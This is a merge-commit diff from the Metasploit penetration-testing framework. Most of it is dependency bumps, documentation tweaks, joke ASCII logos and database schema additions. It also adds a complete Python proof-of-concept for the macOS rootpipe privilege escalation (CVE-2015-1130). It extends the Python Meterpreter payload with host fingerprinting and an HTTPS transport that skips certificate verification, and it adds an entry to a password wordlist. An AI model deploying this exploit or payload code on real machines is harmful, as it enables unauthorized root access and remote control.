Merge pull request #13 from jvazquez-r7/conflicts_4989

Solve conflicts
bug/bundler_fix
HD Moore 2015-04-21 23:11:13 -05:00
commit a07b68d06b
698 changed files with 20107 additions and 6093 deletions

12
.gitignore vendored
View File

@ -67,17 +67,7 @@ external/source/exploits/**/Release
# Avoid checking in Meterpreter binaries. These are supplied upstream by # Avoid checking in Meterpreter binaries. These are supplied upstream by
# the meterpreter_bins gem. # the meterpreter_bins gem.
data/meterpreter/elevator.*.dll data/meterpreter/*.dll
data/meterpreter/ext_server_espia.*.dll
data/meterpreter/ext_server_extapi.*.dll
data/meterpreter/ext_server_incognito.*.dll
data/meterpreter/ext_server_kiwi.*.dll
data/meterpreter/ext_server_lanattacks.*.dll
data/meterpreter/ext_server_mimikatz.*.dll
data/meterpreter/ext_server_priv.*.dll
data/meterpreter/ext_server_stdapi.*.dll
data/meterpreter/metsrv.*.dll
data/meterpreter/screenshot.*.dll
# Avoid checking in Meterpreter libs that are built from # Avoid checking in Meterpreter libs that are built from
# private source. If you're interested in this functionality, # private source. If you're interested in this functionality,

View File

@ -38,3 +38,6 @@ branches:
except: except:
- gh-pages - gh-pages
- metakitty - metakitty
addons:
postgresql: '9.3'

View File

@ -4,8 +4,8 @@ Thanks for your interest in making Metasploit -- and therefore, the
world -- a better place! world -- a better place!
Are you about to report a bug? Sorry to hear it. Here's our [Issue tracker]. Are you about to report a bug? Sorry to hear it. Here's our [Issue tracker].
Please try to be as specific as you can about your problem, include steps Please try to be as specific as you can about your problem; include steps
to reproduce (cut and paste from your console output if it's helpful), and to reproduce (cut and paste from your console output if it's helpful) and
what you were expecting to happen. what you were expecting to happen.
Are you about to report a security vulnerability in Metasploit itself? Are you about to report a security vulnerability in Metasploit itself?
@ -18,7 +18,7 @@ Metasploit module? If so, read on...
# Contributing to Metasploit # Contributing to Metasploit
What you see here in CONTRIBUTING.md is a bullet-point list of the do's What you see here in CONTRIBUTING.md is a bullet point list of the do's
and don'ts of how to make sure *your* valuable contributions actually and don'ts of how to make sure *your* valuable contributions actually
make it into Metasploit's master branch. make it into Metasploit's master branch.
@ -27,7 +27,7 @@ closed. Sorry!
This is intended to be a **short** list. The [wiki] is much more This is intended to be a **short** list. The [wiki] is much more
exhaustive and reveals many mysteries. If you read nothing else, take a exhaustive and reveals many mysteries. If you read nothing else, take a
look at the standard [development environment setup] guide, look at the standard [development environment setup] guide
and Metasploit's [Common Coding Mistakes]. and Metasploit's [Common Coding Mistakes].
## Code Contributions ## Code Contributions
@ -52,7 +52,7 @@ Pull requests [PR#2940] and [PR#3043] are a couple good examples to follow.
#### New Modules #### New Modules
* **Do** run `tools/msftidy.rb` against your module and fix any errors or warnings that come up. * **Do** run `tools/msftidy.rb` against your module and fix any errors or warnings that come up.
- Even better would be to set up `msftidy.rb` as a [pre-commit hook]. - It would be even better to set up `msftidy.rb` as a [pre-commit hook].
* **Do** use the many module mixin [API]s. Wheel improvements are welcome; wheel reinventions, not so much. * **Do** use the many module mixin [API]s. Wheel improvements are welcome; wheel reinventions, not so much.
* **Don't** include more than one module per pull request. * **Don't** include more than one module per pull request.
@ -80,11 +80,11 @@ Pull requests [PR#2940] and [PR#3043] are a couple good examples to follow.
* **Do** report vulnerabilities in Rapid7 software directly to security@rapid7.com. * **Do** report vulnerabilities in Rapid7 software directly to security@rapid7.com.
* **Do** write a detailed description of your bug and use a descriptive title. * **Do** write a detailed description of your bug and use a descriptive title.
* **Do** include reproduction steps, stack traces, and anything else that might help us verify and fix your bug. * **Do** include reproduction steps, stack traces, and anything else that might help us verify and fix your bug.
* **Don't** file duplicate reports - search for your bug before filing a new report. * **Don't** file duplicate reports; search for your bug before filing a new report.
If you need some more guidance, talk to the main body of open If you need some more guidance, talk to the main body of open
source contributors over on the [Freenode IRC channel] source contributors over on the [Freenode IRC channel],
or e-mail us at [metasploit-hackers] mailing list. or e-mail us at the [metasploit-hackers] mailing list.
Also, **thank you** for taking the few moments to read this far! You're Also, **thank you** for taking the few moments to read this far! You're
already way ahead of the curve, so keep it up! already way ahead of the curve, so keep it up!
@ -92,7 +92,7 @@ already way ahead of the curve, so keep it up!
[Issue Tracker]:http://r-7.co/MSF-BUGv1 [Issue Tracker]:http://r-7.co/MSF-BUGv1
[PGP key]:http://pgp.mit.edu:11371/pks/lookup?op=vindex&search=0x2380F85B8AD4DB8D [PGP key]:http://pgp.mit.edu:11371/pks/lookup?op=vindex&search=0x2380F85B8AD4DB8D
[wiki]:https://github.com/rapid7/metasploit-framework/wiki [wiki]:https://github.com/rapid7/metasploit-framework/wiki
[scripts]: https://github.com/rapid7/metasploit-framework/tree/master/scripts [scripts]:https://github.com/rapid7/metasploit-framework/tree/master/scripts
[development environment setup]:http://r-7.co/MSF-DEV [development environment setup]:http://r-7.co/MSF-DEV
[Common Coding Mistakes]:https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes [Common Coding Mistakes]:https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes
[Ruby style guide]:https://github.com/bbatsov/ruby-style-guide [Ruby style guide]:https://github.com/bbatsov/ruby-style-guide
@ -104,10 +104,10 @@ already way ahead of the curve, so keep it up!
[PR#2940]:https://github.com/rapid7/metasploit-framework/pull/2940 [PR#2940]:https://github.com/rapid7/metasploit-framework/pull/2940
[PR#3043]:https://github.com/rapid7/metasploit-framework/pull/3043 [PR#3043]:https://github.com/rapid7/metasploit-framework/pull/3043
[pre-commit hook]:https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb [pre-commit hook]:https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb
[API]:https://rapid7.github.io/metasploit-framework/api/ [API]:https://rapid7.github.io/metasploit-framework/api
[RSpec]:http://rspec.info/ [RSpec]:http://rspec.info
[Better Specs]:http://betterspecs.org/ [Better Specs]:http://betterspecs.org
[YARD]:http://yardoc.org/ [YARD]:http://yardoc.org
[Issues]:https://github.com/rapid7/metasploit-framework/issues [Issues]:https://github.com/rapid7/metasploit-framework/issues
[Freenode IRC channel]:http://webchat.freenode.net/?channels=%23metasploit&uio=d4 [Freenode IRC channel]:http://webchat.freenode.net/?channels=%23metasploit&uio=d4
[metasploit-hackers]:https://lists.sourceforge.net/lists/listinfo/metasploit-hackers [metasploit-hackers]:https://lists.sourceforge.net/lists/listinfo/metasploit-hackers

View File

@ -7,9 +7,9 @@ PATH
bcrypt bcrypt
jsobfu (~> 0.2.0) jsobfu (~> 0.2.0)
json json
metasploit-concern (~> 0.3.0) metasploit-concern (= 0.4.0)
metasploit-model (~> 0.29.0) metasploit-model (~> 0.29.0)
meterpreter_bins (= 0.0.16) meterpreter_bins (= 0.0.22)
msgpack msgpack
nokogiri nokogiri
packetfu (= 1.1.9) packetfu (= 1.1.9)
@ -22,9 +22,9 @@ PATH
tzinfo tzinfo
metasploit-framework-db (4.11.0.pre.dev) metasploit-framework-db (4.11.0.pre.dev)
activerecord (>= 3.2.21, < 4.0.0) activerecord (>= 3.2.21, < 4.0.0)
metasploit-credential (~> 0.14.3) metasploit-credential (= 0.14.5)
metasploit-framework (= 4.11.0.pre.dev) metasploit-framework (= 4.11.0.pre.dev)
metasploit_data_models (~> 0.23.0) metasploit_data_models (= 0.24.0)
pg (>= 0.11) pg (>= 0.11)
metasploit-framework-pcap (4.11.0.pre.dev) metasploit-framework-pcap (4.11.0.pre.dev)
metasploit-framework (= 4.11.0.pre.dev) metasploit-framework (= 4.11.0.pre.dev)
@ -101,45 +101,45 @@ GEM
gherkin (2.11.6) gherkin (2.11.6)
json (>= 1.7.6) json (>= 1.7.6)
hike (1.2.3) hike (1.2.3)
i18n (0.6.11) i18n (0.7.0)
journey (1.0.4) journey (1.0.4)
jsobfu (0.2.1) jsobfu (0.2.1)
rkelly-remix (= 0.0.6) rkelly-remix (= 0.0.6)
json (1.8.1) json (1.8.2)
mail (2.5.4) mail (2.5.4)
mime-types (~> 1.16) mime-types (~> 1.16)
treetop (~> 1.4.8) treetop (~> 1.4.8)
metasploit-concern (0.3.0) metasploit-concern (0.4.0)
activesupport (~> 3.0, >= 3.0.0) activesupport (~> 3.0, >= 3.0.0)
railties (< 4.0.0) railties (< 4.0.0)
metasploit-credential (0.14.3) metasploit-credential (0.14.5)
metasploit-concern (~> 0.3.0) metasploit-concern (= 0.4.0)
metasploit-model (~> 0.29.0) metasploit-model (~> 0.29.0)
metasploit_data_models (~> 0.23.0) metasploit_data_models (= 0.24.0)
pg pg
railties (< 4.0.0) railties (< 4.0.0)
rubyntlm rubyntlm
rubyzip (~> 1.1) rubyzip (~> 1.1)
metasploit-model (0.29.0) metasploit-model (0.29.2)
activesupport activesupport
railties (< 4.0.0) railties (< 4.0.0)
metasploit_data_models (0.23.1) metasploit_data_models (0.24.0)
activerecord (>= 3.2.13, < 4.0.0) activerecord (>= 3.2.13, < 4.0.0)
activesupport activesupport
arel-helpers arel-helpers
metasploit-concern (~> 0.3.0) metasploit-concern (= 0.4.0)
metasploit-model (~> 0.29.0) metasploit-model (~> 0.29.0)
pg pg
railties (< 4.0.0) railties (< 4.0.0)
recog (~> 1.0) recog (~> 1.0)
meterpreter_bins (0.0.16) meterpreter_bins (0.0.22)
method_source (0.8.2) method_source (0.8.2)
mime-types (1.25.1) mime-types (1.25.1)
mini_portile (0.6.1) mini_portile (0.6.2)
msgpack (0.5.11) msgpack (0.5.11)
multi_json (1.0.4) multi_json (1.0.4)
network_interface (0.0.1) network_interface (0.0.1)
nokogiri (1.6.5) nokogiri (1.6.6.2)
mini_portile (~> 0.6.0) mini_portile (~> 0.6.0)
packetfu (1.1.9) packetfu (1.1.9)
pcaprub (0.11.3) pcaprub (0.11.3)
@ -154,7 +154,7 @@ GEM
rack (>= 0.4) rack (>= 0.4)
rack-ssl (1.3.4) rack-ssl (1.3.4)
rack rack
rack-test (0.6.2) rack-test (0.6.3)
rack (>= 1.0) rack (>= 1.0)
rails (3.2.21) rails (3.2.21)
actionmailer (= 3.2.21) actionmailer (= 3.2.21)
@ -175,9 +175,9 @@ GEM
rb-readline-r7 (0.5.2.0) rb-readline-r7 (0.5.2.0)
rdoc (3.12.2) rdoc (3.12.2)
json (~> 1.4) json (~> 1.4)
recog (1.0.16) recog (1.0.27)
nokogiri nokogiri
redcarpet (3.1.2) redcarpet (3.2.3)
rkelly-remix (0.0.6) rkelly-remix (0.0.6)
robots (0.10.1) robots (0.10.1)
rspec (2.99.0) rspec (2.99.0)
@ -219,7 +219,7 @@ GEM
treetop (1.4.15) treetop (1.4.15)
polyglot polyglot
polyglot (>= 0.3.1) polyglot (>= 0.3.1)
tzinfo (0.3.42) tzinfo (0.3.43)
xpath (2.0.0) xpath (2.0.0)
nokogiri (~> 1.3) nokogiri (~> 1.3)
yard (0.8.7.4) yard (0.8.7.4)

View File

@ -3,7 +3,7 @@ Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.pn
The Metasploit Framework is released under a BSD-style license. See The Metasploit Framework is released under a BSD-style license. See
COPYING for more details. COPYING for more details.
The latest version of this software is available from https://metasploit.com/ The latest version of this software is available from: https://metasploit.com
Bug tracking and development information can be found at: Bug tracking and development information can be found at:
https://github.com/rapid7/metasploit-framework https://github.com/rapid7/metasploit-framework
@ -20,8 +20,8 @@ Questions and suggestions can be sent to:
Installing Installing
-- --
Generally, you should use [the free installer](https://www.metasploit.com/download) Generally, you should use [the free installer](https://www.metasploit.com/download),
which contains all dependencies and will get you up and running with a which contains all of the dependencies and will get you up and running with a
few clicks. See the [Dev Environment Setup](http://r-7.co/MSF-DEV) if few clicks. See the [Dev Environment Setup](http://r-7.co/MSF-DEV) if
you'd like to deal with dependencies on your own. you'd like to deal with dependencies on your own.
@ -34,10 +34,10 @@ resources](https://metasploit.github.io), or the [wiki].
Contributing Contributing
-- --
See the [Dev Environment Setup][wiki-devenv] guide on GitHub which will See the [Dev Environment Setup][wiki-devenv] guide on GitHub, which will
walk you through the whole process starting from installing all the walk you through the whole process from installing all the
dependencies, to cloning the repository, and finally to submitting a dependencies, to cloning the repository, and finally to submitting a
pull request. For slightly more info, see pull request. For slightly more information, see
[Contributing](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md). [Contributing](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md).

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,73 @@
########################################################
#
# PoC exploit code for rootpipe (CVE-2015-1130)
#
# Created by Emil Kvarnhammar, TrueSec
#
# Tested on OS X 10.7.5, 10.8.2, 10.9.5 and 10.10.2
#
########################################################
import os
import sys
import platform
import re
import ctypes
import objc
import sys
from Cocoa import NSData, NSMutableDictionary, NSFilePosixPermissions
from Foundation import NSAutoreleasePool
def load_lib(append_path):
return ctypes.cdll.LoadLibrary("/System/Library/PrivateFrameworks/" + append_path);
def use_old_api():
return re.match("^(10.7|10.8)(.\d)?$", platform.mac_ver()[0])
args = sys.argv
if len(args) != 3:
print "usage: exploit.py source_binary dest_binary_as_root"
sys.exit(-1)
source_binary = args[1]
dest_binary = os.path.realpath(args[2])
if not os.path.exists(source_binary):
raise Exception("file does not exist!")
pool = NSAutoreleasePool.alloc().init()
attr = NSMutableDictionary.alloc().init()
attr.setValue_forKey_(04777, NSFilePosixPermissions)
data = NSData.alloc().initWithContentsOfFile_(source_binary)
print "will write file", dest_binary
if use_old_api():
adm_lib = load_lib("/Admin.framework/Admin")
Authenticator = objc.lookUpClass("Authenticator")
ToolLiaison = objc.lookUpClass("ToolLiaison")
SFAuthorization = objc.lookUpClass("SFAuthorization")
authent = Authenticator.sharedAuthenticator()
authref = SFAuthorization.authorization()
# authref with value nil is not accepted on OS X <= 10.8
authent.authenticateUsingAuthorizationSync_(authref)
st = ToolLiaison.sharedToolLiaison()
tool = st.tool()
tool.createFileWithContents_path_attributes_(data, dest_binary, attr)
else:
adm_lib = load_lib("/SystemAdministration.framework/SystemAdministration")
WriteConfigClient = objc.lookUpClass("WriteConfigClient")
client = WriteConfigClient.sharedClient()
client.authenticateUsingAuthorizationSync_(None)
tool = client.remoteProxy()
tool.createFileWithContents_path_attributes_(data, dest_binary, attr, 0)
print "Done!"
del pool

35
data/logos/pony-01.aftxt Normal file
View File

@ -0,0 +1,35 @@
 _________________________________________________ 
< This console just got 20% cooler >
 ------------------------------------------------- 
/
/ 
▀▄▄▄▄▄▄▄▄ / 
▀▀▄▄▄▄▄█▄▄▄▄ / 
▄███▄▄▄▄██▄██ / 
▄██▄█▄▄█▄▄██▄███ / 
▄██▄█████▄██▄▄█▄▄ / 
▄███████▄██▄▀▀▄▄██ / 
██████████▄▄▄ ██▄█ / 
██▄███▄███ ▀▀ ████ / 
▀███▄███▄▀ ███ / 
▀ ████▄▀ █▄█ / 
██▄▀█ ▄▄▄▄▄▄▄▄ / 
▀▄█ ▀ ▄▄█▄██████▄▄ / 
▀█ ███▄█████████ / 
▄███▄▄█████████ / 
███████▄██████▄▀ / 
█████▄▄█████████ 
▄▄███▄▀ █▄███████ ▄▄▄▄▄▄▄▄▄ 
▄▄█████ ▄█▄██▄████▄█▄█▄▄██▄▄██▄█▀ 
▀▄██▄▀▄▄▄███▄▄███▄██▄▄███▄▄███▄▄▄ 
▀▀ ▄███████████████▄▄▄██▄▄███▀▄ 
████▄█████████▄▄▄▄▄█▄▄▄▄▄███ 
███████▄█████▄▄████▄▄██▄██▀▄██ 
▀▀▄▄██████▄██████▄▄▄████▄▄ ▀▀▀ 
▄▄██████████▄▄█▄▄▄▄▄██▄▄▄ 
██▄█████████▄▄▄██████████ 
▀▀ █▄████ ███▄█▄▄▄▄▄▄▄▀▀ 
▄▄████ ████▄██ 
▀▄████ ██▄███ 
▀▄▄▀ ██▀█▀▀ 
█ 

31
data/logos/pony-02.aftxt Normal file
View File

@ -0,0 +1,31 @@
 __________________ 
< Shells are cool. >
 ------------------ 
\ 
\ 
\ 
\ 
\ ▄▄▄▄▄▄▄▄▄ 
███████████ 
▄▄██████████ 
▄▄███████████▄▄ 
▄███████████▄▄▄█▄▄ 
▄▄██▄▄▄▄▄▄▄▄▄███▄▄█▄▄ 
▄▄████▄▄███████████████ 
████████▄▄▄▄█████████▄▀ 
███████▄███▄▄████████ 
▄▄▄███████▄█▄█████████▄▀ ▄▄▄▄▄▄ 
▀▄▄███████▄▄▄███████▄▀ ▄▄██████▄▄█▀ 
▀▄▄▄██████▄█████▄▀ ▄▄███████████▄ 
▀▀▀▀▀▀█▄███▄▄▄▄▄▄▄▄▄▄▄▄▄▀▀▀▄██████▄▄
███▄▄█▄██████████▄▄ █████▄▄█
▄███▄█████████▄█▄██ ▄▄████ ▀
▀▀▄██████████▄▄▄▄▀ ▀▀ ██▄▀ 
█████▄▄▄▄█▄███▄▄ █▄▀ 
██████ ▀▄▄██████ ▀ 
▄▄▄████ ████████ 
███████ █████████ 
▄█▄▄█████ █████████ 
█▄███████ █▄▄███████ 
█▄▄▄▄▄█ █▄▄▄▄▄█ 


27
data/logos/pony-03.aftxt Normal file
View File

@ -0,0 +1,27 @@
 ______________________________ 
< I love SHELLS! >
 ------------------------------ 
\ 
\ 
\ 
▄▄██▄█▄▄▄▄ 
▄▄█████▄▄▄▄█▄▄ 
▄▄▄██████████▄▄▄▀ 
██▄▄█▄▄▄▄█▄▄█▄█ 
██▄▄▄████▄▄▄████ 
▄▄████▄▄▄██▄█▄▄▀ 
▄▄▄▄▄▄▄▄▄▄ ██▄█▄▄██▄▄▄▄▄██▄▄█
▄▄▄▄▄▄▄▄▄▄▄▄▄▄ █▄▄▄██▄█████▄▄▄▀▀ 
▄▄████▄▄▄▄▄▄▄▄▄▄ ██▄▄▄▄███████▄▄▄ 
█████▄▄▄▄▄▀▀▄▄▄▄▄▄██▄▄▄█▄███▄█▀▀▀ 
████▄█▄█ █▄██▄▄█▄▄▄██▄███ 
▀▄▄▄▄█▄▄▄ ██▄█▄██▄▄▄▄▄█▄███ 
▀▄██▄▄██▄█ ██▄█▄██▄█▄▄█████ 
█▄█▄███▄▄█ ████▄▄█▄▄▄██▄█ 
▄██ ███▄██▄███ ▄▄▄█▄▄▄█▀▀██████ 
▀▄▄█▄█▄▄█▄██▀▀▀ ▄▄██▄▄██ ██████ 
▀▄▄▀██▄▄▀▀▀ ▄▄█████▄▀ ▄▄█████ 
▀▀▀ ▄▄███████ ███████ 
▄▄███▄▄██ ▄▄███████ 
██████▀▀▀ ▀▄████▀▀▀ 
▀▀▀▀▀▀ ▀▀▀ 

29
data/logos/pony-04.aftxt Normal file
View File

@ -0,0 +1,29 @@
 ____________________________________ 
< My Little Pwny: Exploits are Magic >
 ------------------------------------ 
\ 
\ 
\ 
▄▄▄▄▄▄▄▄▄▄ 
▄▄█████████▄▄▄▄▄▄▄ 
█▄▄▄████████▄▄▄▄████
█▄▄▄██▄█████▄████████
▄▄▄██████▄▄▄▄▄▄▄▄▄██▄▀ 
████▄████▄▄▄▄▄▄██▄▄█▄▄ 
██████████████████████ 
▀▄███▄███▄██▄▄▄████▀▀ 
▄▄▄▄▄▄▄▄▄ ▀▄██▄▄██▄▄█▄▄▄▄███▄ 
▄▄█████████▄▄ ▀█▄█████▄█▄▄▄█▄███ 
███████▄▀▀▀▄█▄▄ ▄▄█▄▄█▄▄█▄▄▄▄▄▄▀▀ 
████████ ▀▄▄▄▄▄███▄██▄▄▄██ 
████████ ▄▄ ▄▄█████▄▄▄▄██████ 
████████▄▄██ ███████████████▄▀ 
▀▄██████▄▄▄▀ ▀▄████████████▄▀ 
▄▄████▄▄██ ▄███▄█▄▄▄▄██▄██ 
█████████▄▀ █████▄▄▀ ██████ 
███▄███▀▀ ███████ ███▄▄▄▄ 
▀▄▄▄▀ ████████ ███████ 
████████ ████▄▄██▄ 
██████▄▄█ ██████▄▄█ 
█▄▄▄▄█ █▄▄▄▄█ 


24
data/logos/pony-05.aftxt Normal file
View File

@ -0,0 +1,24 @@
 ______________________ 
< FREE SHELLS FOREVER!!! >
 ---------------------- 
\ 
\ ▄██▄▄▄ ▄▄▄ 
\ ███▄▄█▄▄▄▄▄▄▄▄▄ 
▄▄▄███▄▄██▄██████▄▄ 
▄▄▄▄█▄▄██▄▄▄▄▄▄▄▄█▄████ 
████▄▄██▄▄██▄▄▄█▄██▄████ ▄█▄▄▄▄ 
████ █▄██▄▄███▄▄▄█▄▄▄██ ▄▄▄▄▄▄█▄█▄▄▄█▄▄ 
███ ██████████▄██████ ██▄▄▄▄█▄▄▄██████ 
▀▄██ ▄█▄▄█▄████▄▄█▄▄▄█▄▄▄▄█▄▄█████▄▄████████ 
▀█ ███▄██████████▄▄███▄██▄▄██████▄▄███████ 
▄▀ ▀▀█▄▄▄▄▄███▄▄▄▄▄▄▄██▄███▄███▄▄██████▄▀ 
▀ ██▄▄██▄▄█▄▄▄▄▄▄▄ ▀▀▄▄█▄▄▄███▄▄ 
█████▄▄█▄▄███▄▄▄█ ████▄▄███▄▄
█▄▄█▄▄▄▄▄█▄██▄▄█ ███▄█▄▄▄█▄██
▄▄▄█▄█████▄████ ▀▄█████▄▄██▀
▄█▄▄▄▄███▀▄█▄████▄█ ▀▄█▄▄███ ▄
▄▄██▄██▄▄▄▀█▄███▄██▄▀ ▄▄█▄█▄▄█
█▄██████ ███▄▄███▄▀ ▀▄▄▄▄▀▀ 
██████ ▀▀███████ 
▀▀▀▀▀▀ ▀▀▀▀▀▀ 


View File

@ -1,6 +1,7 @@
#!/usr/bin/python #!/usr/bin/python
import code import code
import os import os
import platform
import random import random
import select import select
import socket import socket
@ -141,6 +142,8 @@ TLV_TYPE_TARGET_PATH = TLV_META_TYPE_STRING | 401
TLV_TYPE_MIGRATE_PID = TLV_META_TYPE_UINT | 402 TLV_TYPE_MIGRATE_PID = TLV_META_TYPE_UINT | 402
TLV_TYPE_MIGRATE_LEN = TLV_META_TYPE_UINT | 403 TLV_TYPE_MIGRATE_LEN = TLV_META_TYPE_UINT | 403
TLV_TYPE_MACHINE_ID = TLV_META_TYPE_STRING | 460
TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500 TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500
TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501 TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501
@ -264,7 +267,7 @@ def tlv_pack(*args):
data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(tlv['value']))), 'UTF-8') data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(tlv['value']))), 'UTF-8')
else: else:
value = tlv['value'] value = tlv['value']
if sys.version_info[0] < 3 and isinstance(value, __builtins__['unicode']): if sys.version_info[0] < 3 and value.__class__.__name__ == 'unicode':
value = value.encode('UTF-8') value = value.encode('UTF-8')
elif not is_bytes(value): elif not is_bytes(value):
value = bytes(value, 'UTF-8') value = bytes(value, 'UTF-8')
@ -393,11 +396,17 @@ class PythonMeterpreter(object):
print(msg) print(msg)
def driver_init_http(self): def driver_init_http(self):
opener_args = []
scheme = HTTP_CONNECTION_URL.split(':', 1)[0]
if scheme == 'https' and ((sys.version_info[0] == 2 and sys.version_info >= (2,7,9)) or sys.version_info >= (3,4,3)):
import ssl
ssl_ctx = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
ssl_ctx.check_hostname=False
ssl_ctx.verify_mode=ssl.CERT_NONE
opener_args.append(urllib.HTTPSHandler(0, ssl_ctx))
if HTTP_PROXY: if HTTP_PROXY:
proxy_handler = urllib.ProxyHandler({'http': HTTP_PROXY}) opener_args.append(urllib.ProxyHandler({scheme: HTTP_PROXY}))
opener = urllib.build_opener(proxy_handler) opener = urllib.build_opener(*opener_args)
else:
opener = urllib.build_opener()
if HTTP_USER_AGENT: if HTTP_USER_AGENT:
opener.addheaders = [('User-Agent', HTTP_USER_AGENT)] opener.addheaders = [('User-Agent', HTTP_USER_AGENT)]
urllib.install_opener(opener) urllib.install_opener(opener)
@ -560,6 +569,36 @@ class PythonMeterpreter(object):
pkt = struct.pack('>I', len(pkt) + 4) + pkt pkt = struct.pack('>I', len(pkt) + 4) + pkt
self.send_packet(pkt) self.send_packet(pkt)
def _core_machine_id(self, request, response):
serial = ''
machine_name = platform.uname()[1]
if has_windll:
from ctypes import wintypes
k32 = ctypes.windll.kernel32
sys_dir = ctypes.create_unicode_buffer(260)
if not k32.GetSystemDirectoryW(ctypes.byref(sys_dir), 260):
return ERROR_FAILURE_WINDOWS
vol_buf = ctypes.create_unicode_buffer(260)
fs_buf = ctypes.create_unicode_buffer(260)
serial_num = wintypes.DWORD(0)
if not k32.GetVolumeInformationW(ctypes.c_wchar_p(sys_dir.value[:3]),
vol_buf, ctypes.sizeof(vol_buf), ctypes.byref(serial_num), None,
None, fs_buf, ctypes.sizeof(fs_buf)):
return ERROR_FAILURE_WINDOWS
serial_num = serial_num.value
serial = "{0:04x}-{1:04x}".format((serial_num >> 16) & 0xFFFF, serial_num & 0xFFFF)
else:
for _, _, files in os.walk('/dev/disk/by-id/'):
for f in files:
if f[:4] == 'ata-':
serial = f[4:]
break
response += tlv_pack(TLV_TYPE_MACHINE_ID, "%s:%s" % (serial, machine_name))
return ERROR_SUCCESS, response
def _core_loadlib(self, request, response): def _core_loadlib(self, request, response):
data_tlv = packet_get_tlv(request, TLV_TYPE_DATA) data_tlv = packet_get_tlv(request, TLV_TYPE_DATA)
if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED: if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED:
@ -710,7 +749,7 @@ class PythonMeterpreter(object):
resp = struct.pack('>I', len(resp) + 4) + resp resp = struct.pack('>I', len(resp) + 4) + resp
return resp return resp
if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0): if not hasattr(os, 'fork') or has_osxsc or (hasattr(os, 'fork') and os.fork() == 0):
if hasattr(os, 'setsid'): if hasattr(os, 'setsid'):
try: try:
os.setsid() os.setsid()

Binary file not shown.

View File

@ -1002,3 +1002,4 @@ sq!us3r
adminpasswd adminpasswd
raspberry raspberry
74k&^*nh#$ 74k&^*nh#$
arcsight

View File

@ -11,7 +11,7 @@
# #
# It's strongly recommended to check this file into your version control system. # It's strongly recommended to check this file into your version control system.
ActiveRecord::Schema.define(:version => 20150212214222) do ActiveRecord::Schema.define(:version => 20150326183742) do
create_table "api_keys", :force => true do |t| create_table "api_keys", :force => true do |t|
t.text "token" t.text "token"
@ -19,6 +19,54 @@ ActiveRecord::Schema.define(:version => 20150212214222) do
t.datetime "updated_at", :null => false t.datetime "updated_at", :null => false
end end
create_table "automatic_exploitation_match_results", :force => true do |t|
t.integer "match_id"
t.integer "run_id"
t.string "state", :null => false
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
end
add_index "automatic_exploitation_match_results", ["match_id"], :name => "index_automatic_exploitation_match_results_on_match_id"
add_index "automatic_exploitation_match_results", ["run_id"], :name => "index_automatic_exploitation_match_results_on_run_id"
create_table "automatic_exploitation_match_sets", :force => true do |t|
t.integer "workspace_id"
t.integer "user_id"
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
end
add_index "automatic_exploitation_match_sets", ["user_id"], :name => "index_automatic_exploitation_match_sets_on_user_id"
add_index "automatic_exploitation_match_sets", ["workspace_id"], :name => "index_automatic_exploitation_match_sets_on_workspace_id"
create_table "automatic_exploitation_matches", :force => true do |t|
t.integer "module_detail_id"
t.string "state"
t.integer "nexpose_data_vulnerability_definition_id"
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
t.integer "match_set_id"
t.string "matchable_type"
t.integer "matchable_id"
t.text "module_fullname"
end
add_index "automatic_exploitation_matches", ["module_detail_id"], :name => "index_automatic_exploitation_matches_on_ref_id"
add_index "automatic_exploitation_matches", ["module_fullname"], :name => "index_automatic_exploitation_matches_on_module_fullname"
create_table "automatic_exploitation_runs", :force => true do |t|
t.integer "workspace_id"
t.integer "user_id"
t.integer "match_set_id"
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
end
add_index "automatic_exploitation_runs", ["match_set_id"], :name => "index_automatic_exploitation_runs_on_match_set_id"
add_index "automatic_exploitation_runs", ["user_id"], :name => "index_automatic_exploitation_runs_on_user_id"
add_index "automatic_exploitation_runs", ["workspace_id"], :name => "index_automatic_exploitation_runs_on_workspace_id"
create_table "clients", :force => true do |t| create_table "clients", :force => true do |t|
t.integer "host_id" t.integer "host_id"
t.datetime "created_at" t.datetime "created_at"
@ -155,19 +203,22 @@ ActiveRecord::Schema.define(:version => 20150212214222) do
end end
create_table "loots", :force => true do |t| create_table "loots", :force => true do |t|
t.integer "workspace_id", :default => 1, :null => false t.integer "workspace_id", :default => 1, :null => false
t.integer "host_id" t.integer "host_id"
t.integer "service_id" t.integer "service_id"
t.string "ltype", :limit => 512 t.string "ltype", :limit => 512
t.string "path", :limit => 1024 t.string "path", :limit => 1024
t.text "data" t.text "data"
t.datetime "created_at", :null => false t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false t.datetime "updated_at", :null => false
t.string "content_type" t.string "content_type"
t.text "name" t.text "name"
t.text "info" t.text "info"
t.integer "module_run_id"
end end
add_index "loots", ["module_run_id"], :name => "index_loots_on_module_run_id"
create_table "macros", :force => true do |t| create_table "macros", :force => true do |t|
t.datetime "created_at", :null => false t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false t.datetime "updated_at", :null => false
@ -359,6 +410,26 @@ ActiveRecord::Schema.define(:version => 20150212214222) do
add_index "module_refs", ["detail_id"], :name => "index_module_refs_on_module_detail_id" add_index "module_refs", ["detail_id"], :name => "index_module_refs_on_module_detail_id"
